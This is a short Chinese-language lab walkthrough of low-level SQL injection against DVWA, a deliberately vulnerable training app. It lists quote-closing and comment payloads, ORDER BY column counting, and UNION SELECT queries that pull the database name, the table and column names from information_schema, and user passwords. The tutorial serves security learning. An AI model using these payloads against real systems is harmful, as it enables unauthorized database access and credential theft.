DVWA sql注入low级别
sql注入分类
-
数字型注入
SELECT first_name, last_name FROM users WHERE user_id = $id
-
字符型注入
SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘
一般可以通过直接输入单引号来判断是否存在注入点
通过输入3和1+2判断注入为字符型注入,若为数字型注入,则3和1+2输出一样
字符型注入
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码
SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘
-
‘ or 1=1 or ‘
SELECT first_name, last_name FROM users WHERE user_id = ‘ ‘ or 1=1 or ‘ ‘
False or True or False -
1‘ or ‘1‘ =‘1
SELECT first_name, last_name FROM users WHERE user_id = ‘1‘ or ‘1‘ =‘1‘
True or True -
‘or 1=1 #
SELECT first_name, last_name FROM users WHERE user_id = ‘‘or 1=1 #‘# 为注释
False or True -
‘or 1=1 --
SELECT first_name, last_name FROM users WHERE user_id = ‘‘or 1=1 -- ‘
-- (有空格)也是注释
False or True
判断数据库字段数
- 1‘ order by 2 #
- 1‘ order by 3 #
判断数据库字段数为2
确定回显位置(SQL语句查询后显示的位置)
1‘ union select 1,2 #
查询当前用户名和数据库
1‘ union select user(),database() #
获取数据库中的表
1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名
1‘ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users‘#
获取字段中的数据
1‘ union select user,password from users#